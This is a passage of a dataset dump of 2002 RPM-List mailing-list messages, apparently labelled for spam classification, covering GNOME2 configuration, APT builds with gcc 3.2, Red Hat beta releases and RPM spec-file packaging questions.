ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Dave Cridland ,rpm-zzzlist@freshrpms.net,03 Aug 2002 18:35:19 +0100,"APT, gcc-3.2-0.1","Hiya folks, I'm currently running RawHide, since I had the brilliant idea that, by using APT, it might actually be practical to keep up with the developments. However, APT seems to want a recompile - its sometimes leaving the RPM database in need of a db_recover - and gcc 3.2 seems to require a closer adherence to the standard than the C++ in APT was written for. This is a bit of a bummer. Does anyone know if there's a latest version I could try which might work, or whether I should simply do the porting myself? (I've made a start, but there's a fair amount of work to do.) If this works out, I might start a repository for the freshrpms compiled on vLatest RawHide, for my own purposes and anyone else who's interested. Dave. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Fri, 9 Aug 2002 07:09:06 -0500",Re: Pango problems,"On Fri, 9 Aug 2002 10:34:23 +0200, Matthias Saou wrote: > Well, I stand corrected :-) > The thing is, I hadn't used gconf-editor yet... and it's exactly what I > feared, old ""not so good"" memories are coming back : It looks exactly like > a GNOME RegEdit :-/ Oh well. > I still hope that the few missing features I'm still looking for will be > added in the next 2.0.x releases, like for example being able to have the > panel always under *all* other windows (if you know how to do that, I'm > really interested! ;-)). > Ya know, I was thinking the same thing. But there's at least two main 'opposing thumbs' between regedit and gconf: 1. GConf is written in English, not symbol tables; you can actually READ what the heck you're looking at. 2. Because it's better-considered, it should be more sound; when the registry gets a wrong value, you may not be able to boot....if GConf is scrogged, you can still have all the underlying power of the OS to keep things running....just call up WindowMaker (or whatever) for the next session until you get it worked out. It took me a while to warm up to it...but I *do* like Gconf... ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ ""Waddling"" into the mainstream? I suppose... http://www.usatoday.com/usatonline/20020805/4333165s.htm _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 9 Aug 2002 10:34:23 +0200",Re: Pango problems,"Once upon a time, Julian wrote : > One of the things you need to understand with gnome2 is that while they > did simplify a lot of things, most of the configuration options people > found very useful are still available through gconf. Learn to love > gconf-editor ;) -- metacity can have sloppy focus (Desktop Preferences > -> Window Focus -- there's actually GUI for that), and the delay until > raising (and whether it raises) can be set in gconf-editor, > /apps/metacity/general/auto_raise and auto_raise_delay Well, I stand corrected :-) The thing is, I hadn't used gconf-editor yet... and it's exactly what I feared, old ""not so good"" memories are coming back : It looks exactly like a GNOME RegEdit :-/ Oh well. I still hope that the few missing features I'm still looking for will be added in the next 2.0.x releases, like for example being able to have the panel always under *all* other windows (if you know how to do that, I'm really interested! ;-)). Cheers, Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Doug Stewart ,rpm-zzzlist@freshrpms.net,"Thu, 8 Aug 2002 15:03:39 -0700 (PDT)",Naming theories,"I've noticed that the theories on the interconnection between the latest RH releases is lagging a bit. In the interests of a fun discussion, anyone have any ideas? So here's some conspiracy bits to lay out. Can anyone fit the pieces together? ""Chesapeake Skipjacks"" are a class of boats: http://carloulton.htmlplanet.com/SKIPJACK/boat.html Also note: ""They were developed from the lines of the Chesapeake Bay Log Canoe, the Brogan, and the famous Clipper Ships."" Clipper Ships (Chips)? Chesapeake College's mascot(s) is(are) the Skipjacks: http://www.chesapeake.edu/athletics/athletics_side.asp?sport=6 This guy owns a ""Chesapeake 32"" named ""Valhalla"": http://www.matella.com/chesapeake1.htm Now, Valhalla -> Limbo seems a little clearer, both being afterlife-ish concepts of roughly Norse extraction. Anyone else? .Doug __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,08 Aug 2002 15:56:21 -0500,Re: Pango problems,"I find Gnome2 with Red Hat's Limbo to be quite nice. On Thu, 2002-08-08 at 10:30, Matthias Saou wrote: > Once upon a time, Brian wrote : > > > I'm using the Gnome2 set of rpms through apt. It's very good, though > > it's shy of converted apps and such. I really like it; it's the > > simple, stable competitor to Windows(tm) that we all need/want/etc. > > Well, you can already remove me from your ""all"" statement... :-( I've been > using GNOME 2 at home ever since it made it into Rawhide, and I must say > that I feel really uncomfortable with it : Things are just too limited and > you're now asked to stick with the defaults. I've already switched back > from Metacity to Sawfish, but for the main GNOME stuff like the panel and > the control center... there are now too few options for ""advanced users"" > like me who like to be able to configure as much as possible. > > Let's see how it evolves... but the GNOME guys who decide seem to want to > change everything to be as simple and limited as possible to not confuse > the basic (lower then average IMHO) user. So in the meantime, I stick with > GNOME 1.4 and I'm quite happy with how it performs in my daily tasks > although it doesn't have the nice look of anti-aliased fonts (I mainly use > and LCD screen and projector anyway). > > > Problem is, though, Pango (a package that deals with international > > font rendering) hasn't been made available to the apt repository on > > Sunmore.net. > > Maybe try grabbing it from the latest Red Hat Linux beta (Limbo) or from > Rawhide... > > > Who the heck do I contact for this, anyway? > > Not me, sorry! > > Matthias > > -- > Matthias Saou World Trade Center > ------------- Edificio Norte 4 Planta > System and Network Engineer 08039 Barcelona, Spain > Electronic Group Interactive Phone : +34 936 00 23 23 > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Julian Missig ,rpm-zzzlist@freshrpms.net,08 Aug 2002 13:18:04 -0400,Re: Pango problems,"On Thu, 2002-08-08 at 12:15, Matthias Saou wrote: > I didn't say it wasn't nice! It looks great, but... it clearly doesn't suit > my needs or tastes : > - I'm a sloppy focus addict... and I configured sawfish to behave exactly > like I want for window focus and delayed raising as well as separating > windows per desktop or placing transient windows. For all these reasons and > many others, Metacity that Havoc Pennington wants to keep basic and simple > is right out! :-( One of the things you need to understand with gnome2 is that while they did simplify a lot of things, most of the configuration options people found very useful are still available through gconf. Learn to love gconf-editor ;) -- metacity can have sloppy focus (Desktop Preferences -> Window Focus -- there's actually GUI for that), and the delay until raising (and whether it raises) can be set in gconf-editor, /apps/metacity/general/auto_raise and auto_raise_delay > - I like the ability to have sliding panels that auto-hide in GNOME... but > with the new panel you can't specify the amount of pixels by which it > sticks out anymore :-( /apps/panel/global/panel_minimized_size > > These are only two examples, I could find more : Each time I use GNOME 2 > I'm quickly irritated by a little something that suited me better in 1.4. Well, it definitely is not the same as 1.4. Some people will always like gnome 1 better. Whatever suits your needs. > I'm not saying that GNOME 2 is bad, poorly conceived or ugly. It'll > probably even get very good critics from reviewers that are used to Windows > or MacOS X, where I also feel ""limited"" myself. I think you need to understand that simplifying the configuration options and the UI does make it a lot easier to use for people who are either not using it all the time or are just starting to use it. The GNOME team decided that advanced users who want to edit the kinds of options you talk about are advanced enough to use gconf-editor. Personally, I'm fine with that, because I don't find gconf-editor hard to use :) Julian _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Joshua Daniel Franklin ,rpm-zzzlist@freshrpms.net,"Fri, 9 Aug 2002 12:08:59 -0700 (PDT)",Re: GConf registry (was Re: Pango problems),"I think this sort of discussion would be better on a GNOME list... I hate to complain, but this thread has been going on for several days. I don't really mind deleting the messages every time, but there's really no reason for it on this list. __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,09 Aug 2002 14:33:40 -0500,Re: Pango problems,"Me too, I prefer the close button in the upper left corner as well. I found nice border themes Iridium-Blueish-0.3.tar.gz and Iridium-Greenish-0.3.tar.gz but forgot where I got them from. If you can find, they're worth a try. Lance On Fri, 2002-08-09 at 10:30, Matthias Saou wrote: > Once upon a time, Harri wrote : > > > My personal problem with gnome2 is that all the wm (metacity) themes are > > windows themes with different colours. :) There's one pretty > > nice-looking one from the place where you can get ""stylish"" theme.. > > forgot where, have to look it up. > > I've found some nice Metacity themes, including the Crux one I like so much > on www.sunshineinabag.co.uk. They've also got nice gtk2 themes and really > cool gdm ones. My only regret here is that I liked the ability of choosing > where the buttons were placed in the sawfish Crux theme, as I prefer the > close button in the upper left corner :-/ > > Matthias > > -- > Matthias Saou World Trade Center > ------------- Edificio Norte 4 Planta > System and Network Engineer 08039 Barcelona, Spain > Electronic Group Interactive Phone : +34 936 00 23 23 > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Victor ,rpm-zzzlist@freshrpms.net,"Fri, 09 Aug 2002 15:42:14 -0400",Find all files that aren't in package.,Is there a way to find all files on the box that do not belong to any rpm package? Thanks _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Fri, 9 Aug 2002 15:59:47 -0500",Re: GConf registry (was Re: Pango problems),"On Fri, 9 Aug 2002 12:08:59 -0700 (PDT), Joshua Daniel Franklin wrote: > I think this sort of discussion would be better on a GNOME list... I hate to > complain, but this thread has been going on for several days. I don't really > mind deleting the messages every time, but there's really no reason for it > on this list. Yeah, I'spose. ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ ""Waddling"" into the mainstream? I suppose... http://www.usatoday.com/usatonline/20020805/4333165s.htm _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Michel Alexandre Salim ,rpm-zzzlist@freshrpms.net,"Fri, 09 Aug 2002 22:39:17 +0100",Re: Pango problems,"Matthias Saou wrote: >Once upon a time, Julian wrote : > > > >>One of the things you need to understand with gnome2 is that while they >>did simplify a lot of things, most of the configuration options people >>found very useful are still available through gconf. Learn to love >>gconf-editor ;) -- metacity can have sloppy focus (Desktop Preferences >>-> Window Focus -- there's actually GUI for that), and the delay until >>raising (and whether it raises) can be set in gconf-editor, >>/apps/metacity/general/auto_raise and auto_raise_delay >> >> > >Well, I stand corrected :-) >The thing is, I hadn't used gconf-editor yet... and it's exactly what I >feared, old ""not so good"" memories are coming back : It looks exactly like >a GNOME RegEdit :-/ Oh well. >I still hope that the few missing features I'm still looking for will be >added in the next 2.0.x releases, like for example being able to have the >panel always under *all* other windows (if you know how to do that, I'm >really interested! ;-)). > > More like Apple's implementation - the Gconf2 files are bog-standard XML, should you feel tempted to edit it by hand :) There are some possibilities that using standardised configuration tools provide: the ability to centrally manage a large number of computers - something like Windows' group policy. Although that would require other applications to use GConf as well . Haven't installed Limbo beta2 myself - been sidetracked by work; the fact that the computer I'm installing it on is connected to a dodgy USB ADSL modem that requires heavy kernel patching means that I would have to do it over a weekend - but I don't think Red Hat currently does it for its config tools. Regards, Michel __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Haase ,rpm-zzzlist@freshrpms.net,"Sun, 11 Aug 2002 11:37:40 +0200",Re: gentoo 0.11.31 relased...,"..it's a major release and supports now SGI's FAM technology (see http://www.oss.sgi.com/projects/fam/), meaning gentoo will now be aware of changes made to the directories it's viewing. More details see emils ChangeLog on https://sourceforge.net/project/shownotes.php?release_id=103492 -- regards from Germany Matthias _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Haase ,rpm-zzzlist@freshrpms.net,"Sun, 11 Aug 2002 11:11:36 +0200",gentoo 0.11.31 relased...,...see subject -- regards from Germany Matthias _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Yen Ho ,"""rpm-zzzlist@freshrpms.net"" ","Mon, 12 Aug 2002 09:23:32 +0100",RPM / hardware device / software packages ?,"I am new to linux. Is that an easy way to identify which rpm / rpms to which hardware devices or software packages? Regards, Yen Ho (Technical Support) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Yen Ho ,"""rpm-zzzlist@freshrpms.net"" ","Mon, 12 Aug 2002 11:19:05 +0100",How to add service port ?,"How do I install / add an additional service port to the system which can be access via Microsoft ODBC driver? Regards, Yen Ho (Technical Support) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 12 Aug 2002 12:32:37 +0200",Re: How to add service port ?,"Once upon a time, Yen wrote : > How do I install / add an additional service port to the system which > can be access via Microsoft ODBC driver? I honestly have no idea, and this is probably not the best list to expect an answer as it is supposed to discuss rpm packages/packaging matters. If you're using Red Hat Linux 7.3, you should try this list : https://listman.redhat.com/mailman/listinfo/valhalla-list Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Haase ,rpm-zzzlist@freshrpms.net,"Mon, 12 Aug 2002 12:53:38 +0200",Re: gentoo 0.11.31 released...,"Hi, Matthias.. > ..it's a major release and supports now SGI's FAM technology ..requires currently some changes for the spec because the dep to fam 2.6.7-6. For compiling fam.h (fam-evel) is required too. -- regards from Germany Matthias _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 12 Aug 2002 13:12:20 +0200",Re: gentoo 0.11.31 released...,"Once upon a time, Matthias wrote : > Hi, Matthias.. > > > ..it's a major release and supports now SGI's FAM technology > > ..requires currently some changes for the spec because the dep to fam > 2.6.7-6. > For compiling fam.h (fam-evel) is required too. Indeed, I had repackaged a first version, but without fam support (not released). I'll release the package with fam support right now ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Michel Alexandre Salim ,rpm-zzzlist@freshrpms.net,"Mon, 12 Aug 2002 19:44:00 +0100",Re: gentoo 0.11.31 released...,"as root, 'service xinetd reload' HTH, Michel Matthias Haase wrote: >Hi, Matthias... > > > >>Indeed, I had repackaged a first version, but without fam support (not >>released). I'll release the package with fam support right now ;-) >> >> > >...your package doesn't require a special buildlevel for the installed fam >rpm, it checks for libfam.* libs. >In result, I could do an upgrade of gentoo for two older boxes here in our >company - still RH 7.1. >I don't know about the 'cleanless' of this (compiling mostly the latest >sources on our devel box myself). > >Because non default fam rpm for RH 7.1 exists, I have to use the >fam-2.6.4-11.i386.rpm for RH 7.2 instead. >No probs. But the scripts inside this rpm doesn't restart xinetd on the >fly, I have currently started fam by hand. > >The sgi_fam script exists in /etc/xinetd.d, so I hope, that fam is up and >running on the next boot too. > > > __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Mon, 12 Aug 2002 23:06:18 +0000",Limbo beta 2 ?,"Michel Alexandre Salim (salimma1@yahoo.co.uk) wrote*: >Haven't installed Limbo beta2 myself - been sidetracked by work; the Limbo beta2 ? I'm running Limbo 7.3.92 with kernel 4.2.18-5.58, is what I am running an ""older"" version of the Limbo beta, it is it ""the"" limbo beta? btw, it does have that gconf editor included. I dumped the RPMS from the Limbo cd's 1 to 3 onto a drive, ran a few scripts, edited sources.list (rpm file:///path-to-files/RPMS.os os [I think]) and used ""apt-get dist-upgrade"", worked like a charm. The real RH installer couldnot handle an upgrade for me, it froze ""searching for packages"". -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Gary Peck ,rpm-zzzlist@freshrpms.net,"Mon, 12 Aug 2002 23:25:54 -0700",Re: Limbo beta 2 ?,"On Mon, Aug 12, 2002 at 11:06:18PM +0000, Angles Puglisi wrote: > Michel Alexandre Salim (salimma1@yahoo.co.uk) wrote*: > Limbo beta2 ? I'm running Limbo 7.3.92 with kernel 4.2.18-5.58, is what I am running > an ""older"" version of the Limbo beta, it is it ""the"" limbo beta? The current version of the Limbo beta is 7.3.93 (yeah, they should have renamed it, but they didn't). It's in the same redhat/linux/beta/limbo directory on the ftp servers. Just check the redhat-release package to find out which version is on the server. Looking at ftp.redhat.com, the current one is redhat-release-7.3.93-2. If you're using GNOME2 from the beta, I'd upgrade as there were some important bugfixes since the first beta. The only thing to watch out for is that Limbo2 switched gcc to 3.2, which is once again incompatible with the previous gcc (v3.1 shipped in Limbo1). gary _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,RPM-List ,"Tue, 13 Aug 2002 13:10:54 +0200",Re: Advise on RPM buidling,"Once upon a time, Mark wrote : > I'm just playing with gnuboy (game boy emulator) as its fairly simple > and small. > I'm having a few problems with the %docs macro. > After reading thru maximum rpm and the rpm docs, I'm still stuck on one > thing, in the source for gnuboy there is a directory called docs, that > contains, well the docs. > > I'm not sure what to pass to the %docs macro? > I originally tried: > %doc CHANGES CONFIG CREDITS FAQ HACKING LIBERTY README.old > > and it moans about missing files, would I have to put a few lines in the > %build macro, just before configure to move the docs out of that > directory and into the build root? > > ie: mv docs/* ../ Actually, I've already rebuild gnuboy, I just had forgotten to commit the spec file, which is now done : http://freshrpms.net/builds/gnuboy/gnuboy.spec Basically, %doc is used to put files in %docdir (default to /usr/share/docs/%{name}-%{version}/ and the listed files with relative paths (i.e. that don't start with a ""/"") are relative to the %{builddir} (the uncompressed source usually). So either you can choose to have a ""docs"" directory inside %{_docdir} by putting : %doc docs (or, totally equivalent, the latter just reminding it's a directory) %doc docs/ Or you can put all files that are in docs/ directly in %{_docdir} : %doc docs/* Try both, poke around, and you should catch the difference if it's not already clear for you. You can also mark any file from the %{buildroot} as documentation (will be listed when using ""-qd"" to query the package's docs) by using %doc with absolute filenames, for example : %doc %{_datadir}/foo-game/manual (this is /usr/share/foo-game/manual, an absolute file) Also, for the packager's convenience, all files in /usr/share/man (aka %{_mandir}) are automatically tagged as %doc. > Also one more thing, whats the best way to work out the dependencies? > as for example with gnuboy, all hte docs and the website says is it > needs SDL. > > Do I set a Requires: SDL >= 1.2 (as my system uses SDL-1.2.4-5) or just > put Requires: SDL. Build the package once and see if it checks for a specific version, or read the installation notes. Often you'll see ""checking for SDL >= 1.2.0"" for example when running configure, then it's best to also make the package depend on that version. > One more quick question, I'm used to compiling source code no problem > (cannot program, but stumble through), whats the best way for finding > out what RPMS are needed for the Requires & BuildRequires macros? > apart from read all the docs and websites info. Well, read the docs indeed :-) You can also compile the package once without those fields and see what the configure script is checking for (basically, the libs and versions you'll need to add to the BuildRequires:) then once the package is built, query the automatic dependencies that rpm put into it. You'll see for instance if the binaries/libs from the package need SDL, gtk+ etc. Then add those ""Requires:"" and rebuild a final version of the package. Often you can omit some dependencies, for example if a program is checking for glib, gtk+, gdk-pixbuf and gnome libraries when being compiled, BuildRequires: gnome-libs-devel Requires: gnome-libs will be enough since they already depend on the ""lower level"" libs that are glib, gtk+ and gdk-pixbuf. > Once again sorry to bother you with this, but I figured you were the > best one to ask. Well, this is typically the type of information interesting to share with others, so I'll copy this answer to the rpm-list hoping some people will appreciate :-) > p.s freshrpms rocks .. creep..creep! Thanks ;-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-5 Load : 0.29 0.20 0.32, AC on-line, battery charging: 100% (8:29) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Dave Cridland ,rpm-zzzlist@freshrpms.net,13 Aug 2002 13:15:56 +0100,Re: Limbo beta 2 ?,"On Tue, 2002-08-13 at 07:25, Gary Peck wrote: > On Mon, Aug 12, 2002 at 11:06:18PM +0000, Angles Puglisi wrote: > > Michel Alexandre Salim (salimma1@yahoo.co.uk) wrote*: > > Limbo beta2 ? I'm running Limbo 7.3.92 with kernel 4.2.18-5.58, is what I am running > > an ""older"" version of the Limbo beta, it is it ""the"" limbo beta? > > The current version of the Limbo beta is 7.3.93 (yeah, they should > have renamed it, but they didn't). It's in the same > redhat/linux/beta/limbo directory on the ftp servers. Just check the > redhat-release package to find out which version is on the server. > Looking at ftp.redhat.com, the current one is redhat-release-7.3.93-2. > > If you're using GNOME2 from the beta, I'd upgrade as there were some > important bugfixes since the first beta. The only thing to watch out > for is that Limbo2 switched gcc to 3.2, which is once again > incompatible with the previous gcc (v3.1 shipped in Limbo1). Eeeek... I hope they aren't intending to release a new RH with a new gcc which hasn't yet been released (again). Bad enough the first time, and I'm sure it gave RedHat a lot of embarrassment. FWIW, I've yet to compile apt on the gcc 3.2 snapshot in RawHide - apt's C++ makes several rather poor assumptions on what iterators are, and in addition doesn't use namespaces at all. For non-C++ folk, this basically means it needs porting. I've got a reasonable way along, now, and I'll send a suitable patch to Connectiva or somewhere when I succeed - I can't find anything on Connectiva's site itself for this. In addition, the rpmlib stuff has changed slightly - I've not really started on this, but it's mainly just arguments added. The rpmlib documentation seems somewhat poor, though, unless I've missed it. Dave. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 13 Aug 2002 14:43:03 +0200",Re: Limbo beta 2 ?,"Once upon a time, Dave wrote : > Eeeek... I hope they aren't intending to release a new RH with a new gcc > which hasn't yet been released (again). Bad enough the first time, and > I'm sure it gave RedHat a lot of embarrassment. Not really, it should have given more embarrassment to sloppy C++ programmers although they often were the ones bashing on gcc 2.96... > FWIW, I've yet to compile apt on the gcc 3.2 snapshot in RawHide - apt's > C++ makes several rather poor assumptions on what iterators are, and in > addition doesn't use namespaces at all. > > For non-C++ folk, this basically means it needs porting. I've got a > reasonable way along, now, and I'll send a suitable patch to Connectiva > or somewhere when I succeed - I can't find anything on Connectiva's site > itself for this. There are already patches for this, look at the Conectiva apt-list archives, you should find them there. Also, apt 0.5 is being actively developed and already contains enough fixes to be compiled on Limbo with gcc 3.2. > In addition, the rpmlib stuff has changed slightly - I've not really > started on this, but it's mainly just arguments added. The rpmlib > documentation seems somewhat poor, though, unless I've missed it. You can still use an apt package compiled on Red Hat Linux 7.3 as long as you install the ""rpm404"" package for compatibility. That's what I'm doing currently on my home Rawhide system. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Nick Verhaegen ,rpm-zzzlist@freshrpms.net,"Tue, 13 Aug 2002 21:45:51 +0200",xine problems,"Hi, I'm no longer able to play encrypted dvd's using the xine rpm from freshrpms. I think it was about a week ago when I last rented some dvd's, worked just fine, but apparently since the latest xine update on freshrpms, it won't anymore. The output is : input_dvd: Sorry, this plugin doesn't play encrypted DVDs. The legal status of CSS decryption is unclear and we can't provide such code. Please check http://dvd.sf.net for more information. I'm pretty sure it worked with the previous freshrpms release... Any way of rolling back updates ? Nick Verhaegen _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Victor ,rpm-zzzlist@freshrpms.net,"Wed, 14 Aug 2002 02:16:52 -0400",Problem with my spec file,"Can someone tell me what I am doing wrong? it's like make doesn't take the PREFIX override... It's crazy. I don't get it... OS: TurboLinux6 rmp3.0.6 make 3.79.1 I just don't get this. It should work... --- %define real_name Mail-SpamAssassin %define real_version 2.31 ######################################################################## # Package Information ######################################################################## Name: SpamAssassin Version: 2.31 Summary: SpamAssassin - A perl-based spam filter URL: http://www.spamassassin.org Group: Networking/Mail License: Artistic Release: 1 ######################################################################## # Sources/Patches ######################################################################## Source0: http://spamassassin.org/devel/%{real_name}-%{real_version}.tar.gz ######################################################################## # Build Configuration ######################################################################## BuildRoot: %{_builddir}/%{real_name}-%{real_version}-root BuildArchitectures: i586 ######################################################################## # Package Description ######################################################################## %description SpamAssassin provides you with a way to reduce if not completely eliminate Unsolicited Commercial Email (SPAM) from your incoming email. It can be invoked by a MDA such as sendmail or postfix, or can be called from a procmail script, .forward file, etc. It uses a genetic-algorithm evolved scoring system to identify messages which look spammy, then adds headers to the message so they can be filtered by the user's mail reading software. This distribution includes the spamd/spamc components which create a server that considerably speeds processing of mail. %prep %setup -q -n %{real_name}-%{real_version} ######################################################################## # Compilation/Installation Instructions (use macros/switches if possible) ######################################################################## %build %{__perl} Makefile.PL LOCAL_RULES_DIR=/etc/spamassassin INSTALLDIRS=vendor PREFIX=%{_prefix} make OPTIMIZE=""$RPM_OPT_FLAGS"" PREFIX=%{_prefix} %install rm -rf $RPM_BUILD_ROOT %makeinstall PREFIX=%{buildroot}%{_prefix} \ INSTALLMAN1DIR=%{buildroot}%{_mandir}/man1 \ INSTALLMAN3DIR=%{buildroot}%{_mandir}/man3 \ LOCAL_RULES_DIR=%{buildroot}%{_sysconfdir}/spamassassin install -m 0711 -D spamd/redhat-rc-script.sh %{buildroot}/etc/init.d/spamassassind %clean rm -rf $RPM_BUILD_ROOT ######################################################################## # RPM file inclusion section (see CRUX guidelines) ######################################################################## %files %defattr(-,root,root) %attr(0711,root,root) /etc/init.d/spamassassind %attr(0644,root,root) %config(noreplace) /etc/spamassassin/* %attr(0755,root,root) %dir %{_datadir}/spamassassin %attr(0755,root,root) %{_bindir}/* %attr(0644,root,root) %{_datadir}/spamassassin/* %attr(-,root,root) %{_libdir}/* ######################################################################## # Changelog - Keep it short and simple ######################################################################## %changelog * Sun Apr 28 2002 Victor - Initial Release _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Dave Cridland ,rpm-zzzlist@freshrpms.net,14 Aug 2002 09:16:17 +0100,Re: Problem with my spec file,"On Wed, 2002-08-14 at 07:16, Victor wrote: > Can someone tell me what I am doing wrong? it's like make doesn't take the > PREFIX override... It's crazy. I don't get it... > OS: TurboLinux6 rmp3.0.6 make 3.79.1 I'm decoding this to mean: ""This spec file installs in the system, rather than in the build root, even though I am passing the relevant overrides to make. It is as if the Makefile does not allow overrides, or does not have those variables."" I note that: 1) It's one of those Makefile.PL things. 2) While I know that Makefiles generated by a ./configure generated in turn by a later version of auto* do support the technique you're trying, I know nothing about what the Perl MakeMaker (or whatever it is) supports. The general solution for cases like this is to install manually (Try make -n and see what it does). I think that Perl's installer system might support an installation root, though I've blissfully no idea how to operate it. I suggest finding a small Perl module SRPM and looking at the spec file to see how RedHat (or Turbo, or PLD, although RedHat generally know *all* the tricks) do it. Dave. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,14 Aug 2002 04:41:30 -0400,DVD+RW tools available (Was: Re: How to add service port ?),"On Mon, 2002-08-12 at 06:32, Matthias Saou wrote: > Once upon a time, Yen wrote : > > > How do I install / add an additional service port to the system which > > can be access via Microsoft ODBC driver? > > I honestly have no idea, and this is probably not the best list to expect > an answer as it is supposed to discuss rpm packages/packaging matters. > > If you're using Red Hat Linux 7.3, you should try this list : > https://listman.redhat.com/mailman/listinfo/valhalla-list I had to take a stab at answering that for a paying customer yesterday. I _think_ you need to install postgreql-odbc and its' dependencies. Then probably a bit of configuration to open a port to the network. But Matthias is right, this is not the right place for this question. To bring things back on topic, I was practicing my ""rpmbuild'n skillz"" and made an rpm with some simple software tools to drive my DVD+RW burner. No GUI frontend, but it works just fine from the command line. I even used it to burn a bootable DVD version of Red Hat 7.3. ftp://people.redhat.com/ckloiber/dvd+rw-tools-0.1.src.rpm -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,14 Aug 2002 04:52:37 -0400,Re: Problem with my spec file,"spamassassin-2.31-15.src.rpm is in RawHide. Take a look at how it's .spec file fixes the problem(s) you are encountering. On Wed, 2002-08-14 at 02:16, Victor wrote: > Can someone tell me what I am doing wrong? it's like make doesn't take the > PREFIX override... It's crazy. I don't get it... > OS: TurboLinux6 rmp3.0.6 make 3.79.1 > > I just don't get this. It should work... > > --- > > %define real_name Mail-SpamAssassin > %define real_version 2.31 > > ######################################################################## > # Package Information > ######################################################################## > Name: SpamAssassin > Version: 2.31 > Summary: SpamAssassin - A perl-based spam filter > URL: http://www.spamassassin.org > Group: Networking/Mail > License: Artistic > Release: 1 > > ######################################################################## > # Sources/Patches > ######################################################################## > Source0: http://spamassassin.org/devel/%{real_name}-%{real_version}.tar.gz > > ######################################################################## > # Build Configuration > ######################################################################## > 